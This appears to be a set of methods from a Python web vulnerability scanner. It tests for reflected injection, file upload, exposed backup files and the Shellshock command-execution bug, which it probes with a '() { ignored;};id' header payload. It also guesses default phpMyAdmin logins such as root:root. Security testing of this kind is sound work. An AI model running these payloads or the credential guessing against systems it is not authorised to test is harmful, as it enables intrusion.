def validate(self, url, data): base, params = self.get_params_from_url(url) result = self.send(base, params, data) if result: for t in self.injections: for p in self.possibilities: payload = p.replace('{injection_value}', str(t)) if payload in result.text: return { 'request': requests_response_to_dict(self.injections[t]), 'match': requests_response_to_dict(result) } return False
def run(self, urls, headers={}, cookies={}): results = [] self.cookies = cookies self.headers = headers list_urls = [] for u in urls: if u[0].split('?')[0] not in list_urls: list_urls.append(u[0].split('?')[0]) for f in list_urls: working = 0 result_fp = self.send(f, self.headers, self.cookies) if result_fp and self.scope.in_scope(result_fp.url): for upl_form in re.findall( r'(?s)(<form.+?multipart/form-data".+?</form>)', result_fp.text): try: post_body = {} soup = BeautifulSoup(upl_form, "lxml") f = soup.find('form') # if form has no action use current url instead action = urlparse.urljoin( result_fp.url, f['action']) if f.has_attr( 'action') else result_fp.url for frm_input in f.findAll('input'): if frm_input.has_attr( 'name') and frm_input.has_attr('type'): if frm_input['type'] == "file": post_body[frm_input['name']] = "{file}" else: post_body[frm_input['name']] = frm_input['value'] \ if frm_input.has_attr('value') else random_string(8) output, boundry = self.get_multipart_form_data( result_fp.url, post_body) self.headers[ 'Content-Type'] = 'multipart/form-data; boundary=%s' % boundry send_post = self.send(action, params=None, data=output) if send_post and send_post.status_code == 200: result = self.find_needle(action) if result: results.append({ 'request': requests_response_to_dict(send_post), "match": "File was successfully uploaded to %s" % result }) except: pass return results
def test(self, url): payload = { 'User-Agent': '() { ignored;};id ', 'Referer': '() { ignored;};id ' } result = self.send(url, headers=payload) if result and 'gid=' in result.text and 'uid=' in result.text: result_obj = { 'request': requests_response_to_dict(result), "match": "Command was executed on server" } return result_obj return None
def run(self, url, data={}, headers={}, cookies={}): if not self.active and 'passive' not in self.module_types: # cannot send requests and not configured to do passive analysis on data return base, param_data = self.get_params_from_url(url) self.cookies = cookies self.headers = headers results = [] if not data: data = {} for param in param_data: result = self.inject(base, param_data, data, parameter_get=param, parameter_post=None) if result: response, match = result results.append({ 'request': requests_response_to_dict(response), "match": match }) for param in data: result = self.inject(base, param_data, data, parameter_get=None, parameter_post=param) if result: response, match = result results.append({ 'request': requests_response_to_dict(response), "match": match }) return results
def test_auth(self, url): sess = requests.session() default_creds = ['root:', 'root:admin', 'root:root'] init_req = sess.get(url) if not init_req: self.logger.warning( "Unable to test authentication, invalid initial response") return token_re = re.search('name="token".+?value="(.+?)"', init_req.text) for entry in default_creds: if not token_re: self.logger.warning("Unable to test authentication, no token") return user, passwd = entry.split(':') payload = { 'lang': 'en', 'pma_username': user, 'pma_password': passwd, 'token': token_re.group(1) } post_url = urljoin(url, 'index.php') post_response = sess.post(post_url, payload) if post_response and 'Refresh' in post_response.headers: returl = post_response.headers['Refresh'].split(';')[1].strip() retdata = sess.get(returl) if retdata: if 'class="loginform">' not in retdata.text: match_str = "Possible positive authentication for user: %s and password %s on %s " % \ (user, passwd, url) result = { 'request': requests_response_to_dict(post_response), 'match': match_str } self.logger.info(match_str) self.results.append(result) return else: token_re = re.search('name="token".+?value="(.+?)"', retdata.text)
def run(self, urls, headers={}, cookies={}): results = [] self.cookies = cookies self.headers = headers list_urls = [] for u in urls: if u[0].split('?')[0] not in list_urls: list_urls.append(u[0].split('?')[0]) for f in list_urls: working = 0 ffurl = "%s.%s" % (f, random_string()) result_fp = self.send(ffurl, self.headers, self.cookies) if result_fp and result_fp.url == ffurl and result_fp.status_code == 200: # site responds 200 to random extension, ignore the URL continue for p in self.possibilities: if working > 3: # if something is creating false positives continue path = urlparse.urlparse(f).path base, ext = os.path.splitext(path) u = urlparse.urljoin(f, base) p = p.replace('{url}', u) p = p.replace('{extension}', ext) result = self.send(p, self.headers, self.cookies) if result and result.url == p and result.status_code == 200: if "Content-Type" not in result.headers or result.headers[ 'Content-Type'] != "text/html": working += 1 results.append({ 'request': requests_response_to_dict(result), "match": "Status code 200" }) return results